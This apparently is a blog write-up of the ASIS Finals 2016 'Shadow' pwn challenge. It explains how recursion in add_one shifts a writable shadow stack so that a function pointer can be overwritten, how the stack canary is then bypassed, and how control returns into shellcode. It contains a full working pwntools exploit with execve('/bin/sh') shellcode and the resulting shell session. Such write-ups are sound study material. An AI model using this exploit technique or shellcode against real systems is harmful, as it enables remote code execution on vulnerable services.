ASIS Finals 2016 Shadow Write up

Solved by 4rbit3r

Pretty nice challenges. Took me a while to get an exploit working but enjoyed the whole process.

Let’s take a look at the binary

$ checksec shadow

Arch: i386-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE

Alright, so NX is disabled. Pretty useful. The binary uses the concept of a shadow stack as mentioned in the write up of Shadow from MMA CTF’2nd. It saves the return addresses in a separate memory page. But the difference is that the shadow stack is created with rwx protections. So we can theoretically overwrite the saved return addresses. The call function saves the original return address to the shadow stack and writes the address of ret function to the original stack. This ret function, when called, pops the value at the top of the shadow stack and returns to that address.

The description says this much:

Check with the guard. Beware, he will not let you in if you are under 18.

If we look into the code of the program, we see that there isn’t really any overflow or format string attack anywhere except in the beerdesc function. But that function has canary enabled which is just going to make things difficult. Also there doesn’t seem to be any way of using negative integers in a signed comparison. But something which I noticed was that we could create as many chunks as needed. The program just prints out an extra message if we exceed 10 objects.

Following up on that idea, we find out that we can only create at max 712 objects. The pointer to each object is placed in a table in the bss segment. If we were to create a 713’th object, the pointer would be written into an unmapped area causing a segfault.

So Plan B. If we were to request a chunk of a large size, (larger than the top chunk can provide), we will be allocated a memory region that is adjacent to the page where the shadow stack exists. But even after that, the shadow stack pointer is nearly 200000 bytes away from the last word that we can control. If we were to request another chunk, we’d get it at a lower memory address which is just farther away from the top of the shadow stack. And since there’s no overflow possible in the heap chunks, we can’t overwrite the return address in that way.

Also, if we look at the code of add_one function, we see that it requests the size of description from the user, adds 9 to it and calls malloc with that value. It then reads the exact number of bytes the user specified into the chunk at offset 12. The first 4 bytes of the chunk is the size that the user specified. The next 4 bytes is the address of a function. This function pointer is selected at random from 4 functions all of which basically print out a message and return.

But the thing of importance in the add_one function is that, if we were to specify an out of bounds size, the function would call itself. Now a simple loop would have sufficed, but here it resorts to recursion. That is our vulnerability.

if ( len && len <= 0x100000 ){
ptr = call(malloc);
….
}
else {
call(add_one);
}

I first thought of calling the add_one function until the shadow stack pointer points to some location where the chunk will be allocated. But that memory location will get mmapped only when the chunk gets allocated. So we can, at most, move the function pointer by 4 bytes into the allocated chunk. But since the size that we requested is added by 9 and then passed to malloc, we cant really control the last 4 bytes of the allocated chunk. There might be some value of size which enables us to at least control the lower 2 bytes, but I didn’t bother to look.

What we can do instead is to use the recursions to our advantage. Looking at the code of beerdesc function, we can see this line of code which can be used.:

 call(*(beerlist[idx] + 4));

Which basically calls the function pointer of a chunk who’s index we specify.

So if we can move the shadow stack pointer far into the chunk allocated, we can overwrite the function pointer of that chunk with an address in the add_one function. Specifically, the function pointer would be overwritten with the address 0x080489F7 which is the address add_one should return to after calling printf.

080489F7    add esp, 0x10
080489FA   mov eax,0x0
080489FF    leave
08048A00   ret

This is where we can use the overflow in the beerdesc function. Once we overwrite the function pointer of the allocated chunk to this address, while calling the function pointer, the above code will be executed. And this code doesn’t check for canary integrity. So we can overflow and overwrite the return address of beerdesc and when it calls the function pointer of the allocated chunk, we get control of eip.

So putting it all together, the plan goes like this :

  • When prompted for nickname, give shellcode. This gets stored in the bss.
  • Allocate a chunk large enough to mmap the page adjacent to shadow stack.
  • Make add_one call itself by giving an out of bounds size until the function pointer of the first chunk has been overwritten.
  • Call beerdesc.
  • When prompted for index, send payload that will set idx to 0 and overwrites saved return address
  • Return address should be overwritten with the address of the shellcode.

The shellcode has to be null character free since it is being read in by scanf. Also the address of the nickname is 0x0804A520. The last character, 0x20, is a whitespace character. Proper nop sled should fix that.

Here’s the script:

from pwn import *
p=remote("shadow.asis-ctf.ir",31337)
shellcode="\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload="\x90"*4+shellcode+"\x90"*8
p.sendline(payload)
p.sendline("1")
p.sendline("143340")
p.sendline("A"*143339)
p.sendline("1")
for x in range(0,86010):
	p.sendline("-1")
	if x == 86009 :
		print "Reached ",x
p.sendline("10")
p.sendline("A"*9)
p.sendline("2")
payload=fit({0:"0",116:p32(0x0804A524)},length=254)
p.sendline(payload)
p.recvuntil("yes:")
p.interactive()

 

And well, running that gave the flag:

python exploit.py
[+] Opening connection to shadow.asis-ctf.ir on port 31337: Done
Reached 86009
[*] Switching to interactive mode
$ ls
flag.txt
shadow
wrapper.sh
$ cat flag.txt
ASIS{732f9beb138dbca4e44d5d184c3074dc}
$ exit

 

Flag : ASIS{732f9beb138dbca4e44d5d184c3074dc}

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

Blog at WordPress.com.

Up ↑

%d bloggers like this: